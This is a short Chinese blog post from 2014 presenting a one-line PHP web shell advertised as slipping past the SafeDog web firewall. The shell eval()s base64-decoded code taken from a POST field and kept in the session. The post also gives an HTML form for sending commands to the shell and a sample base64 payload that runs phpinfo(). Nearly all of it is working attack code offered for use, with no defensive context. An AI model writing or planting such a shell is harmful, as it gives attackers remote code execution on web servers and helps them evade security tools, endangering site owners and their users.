过狗一句话

<?PHP
session_start();
if(isset($_POST['code'])){
$_SESSION['theCode'] = trim($_POST['code']);
}
if(isset($_SESSION['theCode'])){
eval(base64_decode($_SESSION['theCode']));
}
?>

exp:

<form ENCTYPE="multipart/form-data" ACTION="http://localhost/test/test.php" METHOD="POST">
<input NAME="code" TYPE="text">
<input VALUE=" 提交 " TYPE="submit">
</form>

  

cGhwaW5mbygpOw==

  

posted @ 2014-06-19 00:08  Hookjoy  阅读(383)  评论(0编辑  收藏  举报